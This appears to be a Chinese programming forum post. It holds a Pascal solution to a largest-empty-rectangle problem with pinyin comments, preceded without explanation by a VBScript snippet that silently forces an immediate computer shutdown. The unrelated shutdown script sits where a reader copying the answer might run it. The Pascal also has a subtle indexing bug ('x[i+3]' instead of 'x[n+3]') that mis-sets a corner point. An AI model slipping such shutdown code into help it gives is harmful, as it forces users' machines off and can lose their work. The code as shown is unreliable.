orz

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true

pascal:
var

l,w,i,aa,j,bb,max,n:longint;

x:array[1..5005]of longint;

y:array[0..5005]of longint;

procedure init;

begin

readln(l,w); //l:chang w:kuan

max:=-maxlongint; //qiu zui da zhi

readln(n);

for i:=1 to n do

readln(x[i],y[i]);

x[n+1]:=0;y[n+1]:=0;//zhuoshang

x[n+2]:=0;y[n+2]:=w;//zuoxia

x[i+3]:=l;y[n+3]:=0;//youshang

x[n+4]:=l;y[n+4]:=w;//youxia

end;

procedure sort(l,r:longint); //you xiao dao da pai xu x de zuo biao,zhu yi jiao huan y

var

i,j,mid,swap:longint;

begin

i:=l; j:=r; mid:=x[(l+r) div 2];

repeat

while x[i]<mid do inc(i);

while mid<x[j] do dec(j);

if j>=i then

begin

swap:=x[i]; x[i]:=x[j]; x[j]:=swap;

swap:=y[i]; y[i]:=y[j]; y[j]:=swap;

i:=i+1;

j:=j-1;

end;

until i>j;

if l<j then sort(l,j);

if i<r then sort(i,r);

end;

procedure main;

begin

for i:=1 to n+4 do //for di yi ge dian wei zhi

begin

aa:=0;bb:=w;

for j:=i+1 to n+4 do //for di er ge dian wei zhi

begin

if (x[j]-x[i])*(bb-aa)>max then max:=(x[j]-x[i])*(bb-aa); //de chu zui da tu xing

if (y[j]>y[i])and(y[j]<bb) then bb:=y[j]; //xun zhao zui jin de di er tiao bian

if (y[j]<y[i])and(y[j]>aa) then aa:=y[j]; //xun zhao zui jin de di yi tiao bian

if y[i]=y[j] then break; //biao shi xun huan wan le jiu break

end;

end;

end;

procedure print;

begin

writeln(max); // shu chu jie guo

end;

begin

init;

sort(1,n+4);

main;

print;

end.

022112

此问题已解决